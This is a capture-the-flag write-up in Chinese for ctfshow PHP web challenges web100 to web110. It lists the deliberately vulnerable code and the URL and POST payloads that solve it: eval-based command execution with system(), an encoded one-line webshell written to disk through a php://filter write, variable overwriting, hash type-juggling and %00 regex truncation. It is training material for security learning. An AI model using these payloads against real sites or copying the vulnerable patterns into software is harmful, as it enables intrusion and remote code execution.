目录
web100
web101
web102
web103
web104
web105
web106
web107
web108
web109
web110
web100
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
&& > || > = > and > or
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
- is_numeric()函数 检测是否为数字或字符串
我们只要让v1等于数字就可以进入循环
/?v1=1&v2=system('tac ctfshow*')&v3=;
/?v1=1&v2=var_dump($ctfshow)&v3=;
- var_dump()此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。
0x2d 转换为ascii码是-
两个小细节(关于我自己):几个get同时提交用&,system(' ') 捕获
web101
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
/?v1=1&v2=echo new ReflectionClass&v3=;
提交不了,发现提示少了一位。那就拿bp爆破,得出最后一个字母是7
对反射类的了解
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');
var_dump($a->getConstants()); 获取一组常量
输出
array(1) {
["PI"]=>
float(3.14)
}
var_dump($a->getName()); 获取类名
输出
string(1) "A"
var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
["flag"]=>
string(15) "flag{123123123}"
}
var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}
}
web102
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
- 利用v2传入 一句话木马的hex编码,并且在头部加上两个数字。 v1 传入hex2bin函数名。利用call_user_func 转为木马。 同时,v3传入 文件名。用file_put_contents 写入 木马。
- 为了让webshell传进去的是数字,我们应先将一句话转为base64,再讲base64转16进制
- 构造一句话
$a='<?=`cat *`;'; //这里虽然``反引号无回显,但是短标签自带echo,读取所有的目录
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //这里直接用去掉=的base64
<?php ?>与<?= ?>等价
system与``是等价的
<?=`cat *`;相当于<?php system('ls');?>这种写法没有空格也没有php,可以绕过一些过滤
说明:<?=是php的短标签,是echo()的快捷用法
因为base64的编码范围 a-z A-Z 0-9 /= 这些字符经过16进制编码后为大部分为数字(基本都在ascii码范围内),属于数字字符串,所以有机会绕过。 如果中间有 字母e,那么完全会被is_numberic 当成 科学计数法!!!
get:v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin
- call_user_func — 把第一个参数作为回调函数调用
- hex2bin 把十六进制值转换为 ASCII 字符, bin2hex把字符串转换16进制
- file_put_contents ()向指定文件写入内容
web103
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
$str不是能按php顺序的所有字符
没什么影响,和web102一样
web104
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
直接传入两个相同的数
web105
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
这是一道变量覆盖问题,通过变量覆盖使得$ error 或$suces为flag都能成功。
die($error);
//payload: get:a=flag post: error=a
//此时if(!($_POST['flag']==$flag))执行成功
首先我们把$flag的值传给$a,接着再把$dotast的值传给$error,于是$error的值就是flag,再通过if判断die输出就是flag
web106
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
- sha1()函数无法处理数组类型,将报错并返回false
- sha1相等但是值不相等的:
aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m
web107
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
parse_str()函数,将第一个变量内容识别,以数组的形式存在第二个变量中
<?php
parse_str("v1=111&v2=222",$arry);
var_dump($arry);
/**
* array(2) {
["v1"]=>
string(3) "111"
["v2"]=>
string(3) "222"
}
*/
因为md5返回数组为空,所以v1也可传入一个空值。
v3[]=2 v1=
web108
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
ereg %00正则截断
<?php echo strrev("I love Shanghai!"); ?>
echo !iahgnahS evol I
首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制。
/?c=a%00778
web109
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
看大佬文章
- 通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果(如果存在返回)只要是变量后面紧跟着(),那么对这个变量进行函数调用。例如$a = 'phpinfo'; $a()即调用phpinfo()
/?v1=Exception&v2=system('ls')
/?v1=Exception&v2=system('tac fl36dg.txt')
web110
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
FilesystemIterator 获取指定目录下的所有文件
getcwd()函数 获取当前工作目录
echo new FilesystemIterator(getcwd()); //默认只显示第一个文件,需要遍历
/?v1=FilesystemIterator&v2=getcwd
访问出现的文件即可